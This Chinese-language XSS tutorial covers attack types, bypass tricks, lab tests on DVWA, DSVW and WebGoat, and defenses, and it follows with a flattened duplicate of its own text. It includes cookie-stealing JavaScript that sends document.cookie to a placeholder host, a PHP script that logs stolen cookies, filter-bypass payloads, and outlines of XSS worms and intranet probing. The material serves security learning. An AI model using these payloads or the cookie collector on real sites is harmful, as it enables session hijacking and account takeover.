[红日安全]Web安全Day2 - XSS跨站实战攻防
字数 2140 2025-08-26 22:12:02

XSS跨站脚本攻击实战攻防指南

1. XSS漏洞概述

1.1 漏洞简介

跨站脚本攻击(XSS)是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时控制用户浏览器进行操作的攻击方式。当服务端将用户输入的内容直接输出到页面上时,如果输入的是经过构造的JavaScript代码,就会在用户浏览器端执行。

1.2 XSS漏洞原理

1.2.1 反射型XSS

  • 非持久型攻击
  • 常见于URL参数构造
  • 通过发送恶意链接给目标用户触发
  • 主要利用GET请求提交恶意代码

1.2.2 存储型XSS

  • 持久型攻击
  • 常见于博客留言板、论坛评论等
  • 恶意代码存储在服务器数据库中
  • 每次访问包含该内容的页面都会触发

1.2.3 DOM型XSS

  • 特殊的反射型XSS
  • 通过JavaScript操作DOM动态修改页面内容
  • 不依赖服务器响应
  • 示例攻击代码:
<script>var img=document.createElement("img");
img.src="http://xxxx/a?"+escape(document.cookie);</script>

1.3 XSS危害

1.3.1 盗取管理员cookie

获取管理员会话凭证,进而控制后台

1.3.2 XSS蠕虫攻击

  • 几何级数传播恶意代码
  • 通常配合CSRF使用
  • 可快速获取大量用户权限

1.4 常用XSS语句

<script>alert(/xss/);</script>
<BODY ONLOAD=alert('XSS')>

<svg onload=alert(1)>
<a href = javasript:alert(1)>

1.5 XSS漏洞绕过技术

1.5.1 JS编码

  • 八进制编码:\xxx
  • 十六进制编码:\xXX
  • Unicode编码:\uXXXX

1.5.2 HTML实体编码

  • 以&开头;结尾
  • 如:<script>

1.5.3 URL编码

  • %编码形式
  • 如:%27表示单引号

1.6 XSS防御措施

  • 过滤输入数据中的特殊字符:' " < > on* 等
  • 输出数据时进行编码转换
    • HTML实体编码
    • JavaScript编码
  • 使用Content Security Policy (CSP)
  • 设置HttpOnly标志的cookie

2. 测试方法

2.1 手工测试

2.1.1 DVWA测试

Low级别测试:

  • DOM型:</option></select>
  • 反射型:<script>alert(document.cookie)</script>
  • 存储型:直接注入脚本标签

Medium级别测试:

  • DOM型:同Low级别
  • 反射型:使用双写绕过<sc<script>ript>alert(document.cookie)</script>
  • 存储型:在name字段使用双写绕过

High级别测试:

  • DOM型:English##<script>alert(document.cookie)</script>
  • 反射型:使用非script标签``
  • 存储型:在name字段使用非script方式注入

2.1.2 DSVW测试

  • 反射型:<script>alert(/xss/)</script>
  • 存储型:通过comment参数注入
  • DOM型:?##lang=<script>alert(/xss/)</script>
  • JSON型:直接使用alert函数不需script标签

2.2 工具测试

2.2.1 BruteXSS

  • Python编写的XSS扫描器
  • 可自动化检测XSS漏洞
  • 需注意目标站点的cookie验证机制

2.2.2 XSSer

  • Kali Linux自带工具
  • 支持多种XSS攻击向量
  • 可进行深度扫描和漏洞利用

2.3 XSS平台搭建

2.3.1 BlueLotus_XSSReceiver

  • 功能全面的XSS平台
  • 支持cookie窃取、内网探测等
  • 部署要求:
    • Apache/PHP环境
    • 文件写入权限

2.3.2 简易XSS平台

  • 接收端PHP代码:
<?php  
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";  
$myfile = fopen("xss_victim.txt", "a");
fwrite($myfile, $victim);
?>
  • 恶意JS代码:
var img = document.createElement("img");
img.src = "http://xxx/x.php?cookie="+document.cookie;
document.body.appendChild(img);

2.4 WebGoat测试

  • Java编写的Web安全学习平台
  • 包含多种XSS挑战:
    • DOM型XSS:利用URL片段标识符
    • 存储型XSS:通过留言板注入
    • 基于JSON的XSS

3. 实战演练

3.1 Vulnhub靶场

  • 靶场:pentesterlab/xss_and_mysql_file_i386
  • 漏洞利用流程:
    1. 在留言板注入XSS代码
    2. 管理员查看留言触发XSS
    3. 窃取管理员cookie
    4. 冒充管理员登录

3.2 WordPress XSS漏洞

  • 影响版本:4.1以下
  • 漏洞原理:MySQL的UTF8截断特性
  • 利用方式:
    • 提交两个部分恶意评论
    • 前端拼接形成完整XSS向量
  • 修复方法:
    • 开启MySQL严格模式
    • 输入输出过滤

4. 高级利用技巧

4.1 XSS蠕虫构造

  • 结合CSRF实现自动传播
  • 利用AJAX技术窃取数据
  • 社交工程增强传播效果

4.2 内网探测

  • 通过XSS获取内网IP
  • 利用WebRTC探测内网拓扑
  • 结合XMLHttpRequest扫描内网服务

4.3 权限提升

  • 窃取高权限用户会话
  • 结合其他漏洞实现RCE
  • 持久化控制手段

5. 防御建议

  1. 输入验证和过滤:

    • 白名单验证用户输入
    • 过滤特殊字符和脚本标签
  2. 输出编码:

    • 根据上下文采用适当编码
    • HTML实体编码
    • JavaScript编码
    • URL编码
  3. 安全HTTP头设置:

    • Content-Security-Policy
    • X-XSS-Protection
    • HttpOnly和Secure Cookie标志
  4. 框架安全特性:

    • 使用现代框架的XSS防护机制
    • 避免直接DOM操作
  5. 安全开发实践:

    • 安全编码培训
    • 代码审计
    • 自动化漏洞扫描
XSS跨站脚本攻击实战攻防指南 1. XSS漏洞概述 1.1 漏洞简介 跨站脚本攻击(XSS)是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时控制用户浏览器进行操作的攻击方式。当服务端将用户输入的内容直接输出到页面上时,如果输入的是经过构造的JavaScript代码,就会在用户浏览器端执行。 1.2 XSS漏洞原理 1.2.1 反射型XSS 非持久型攻击 常见于URL参数构造 通过发送恶意链接给目标用户触发 主要利用GET请求提交恶意代码 1.2.2 存储型XSS 持久型攻击 常见于博客留言板、论坛评论等 恶意代码存储在服务器数据库中 每次访问包含该内容的页面都会触发 1.2.3 DOM型XSS 特殊的反射型XSS 通过JavaScript操作DOM动态修改页面内容 不依赖服务器响应 示例攻击代码: 1.3 XSS危害 1.3.1 盗取管理员cookie 获取管理员会话凭证,进而控制后台 1.3.2 XSS蠕虫攻击 几何级数传播恶意代码 通常配合CSRF使用 可快速获取大量用户权限 1.4 常用XSS语句 1.5 XSS漏洞绕过技术 1.5.1 JS编码 八进制编码:\xxx 十六进制编码:\xXX Unicode编码:\uXXXX 1.5.2 HTML实体编码 以&开头;结尾 如:&lt;script&gt; 1.5.3 URL编码 %编码形式 如:%27表示单引号 1.6 XSS防御措施 过滤输入数据中的特殊字符:' " < > on* 等 输出数据时进行编码转换 HTML实体编码 JavaScript编码 使用Content Security Policy (CSP) 设置HttpOnly标志的cookie 2. 测试方法 2.1 手工测试 2.1.1 DVWA测试 Low级别测试: DOM型: </option></select> 反射型: <script>alert(document.cookie)</script> 存储型:直接注入脚本标签 Medium级别测试: DOM型:同Low级别 反射型:使用双写绕过 <sc<script>ript>alert(document.cookie)</script> 存储型:在name字段使用双写绕过 High级别测试: DOM型: English##<script>alert(document.cookie)</script> 反射型:使用非script标签 `` 存储型:在name字段使用非script方式注入 2.1.2 DSVW测试 反射型: <script>alert(/xss/)</script> 存储型:通过comment参数注入 DOM型: ?##lang=<script>alert(/xss/)</script> JSON型:直接使用alert函数不需script标签 2.2 工具测试 2.2.1 BruteXSS Python编写的XSS扫描器 可自动化检测XSS漏洞 需注意目标站点的cookie验证机制 2.2.2 XSSer Kali Linux自带工具 支持多种XSS攻击向量 可进行深度扫描和漏洞利用 2.3 XSS平台搭建 2.3.1 BlueLotus_ XSSReceiver 功能全面的XSS平台 支持cookie窃取、内网探测等 部署要求: Apache/PHP环境 文件写入权限 2.3.2 简易XSS平台 接收端PHP代码: 恶意JS代码: 2.4 WebGoat测试 Java编写的Web安全学习平台 包含多种XSS挑战: DOM型XSS:利用URL片段标识符 存储型XSS:通过留言板注入 基于JSON的XSS 3. 实战演练 3.1 Vulnhub靶场 靶场:pentesterlab/xss_ and_ mysql_ file_ i386 漏洞利用流程: 在留言板注入XSS代码 管理员查看留言触发XSS 窃取管理员cookie 冒充管理员登录 3.2 WordPress XSS漏洞 影响版本:4.1以下 漏洞原理:MySQL的UTF8截断特性 利用方式: 提交两个部分恶意评论 前端拼接形成完整XSS向量 修复方法: 开启MySQL严格模式 输入输出过滤 4. 高级利用技巧 4.1 XSS蠕虫构造 结合CSRF实现自动传播 利用AJAX技术窃取数据 社交工程增强传播效果 4.2 内网探测 通过XSS获取内网IP 利用WebRTC探测内网拓扑 结合XMLHttpRequest扫描内网服务 4.3 权限提升 窃取高权限用户会话 结合其他漏洞实现RCE 持久化控制手段 5. 防御建议 输入验证和过滤: 白名单验证用户输入 过滤特殊字符和脚本标签 输出编码: 根据上下文采用适当编码 HTML实体编码 JavaScript编码 URL编码 安全HTTP头设置: Content-Security-Policy X-XSS-Protection HttpOnly和Secure Cookie标志 框架安全特性: 使用现代框架的XSS防护机制 避免直接DOM操作 安全开发实践: 安全编码培训 代码审计 自动化漏洞扫描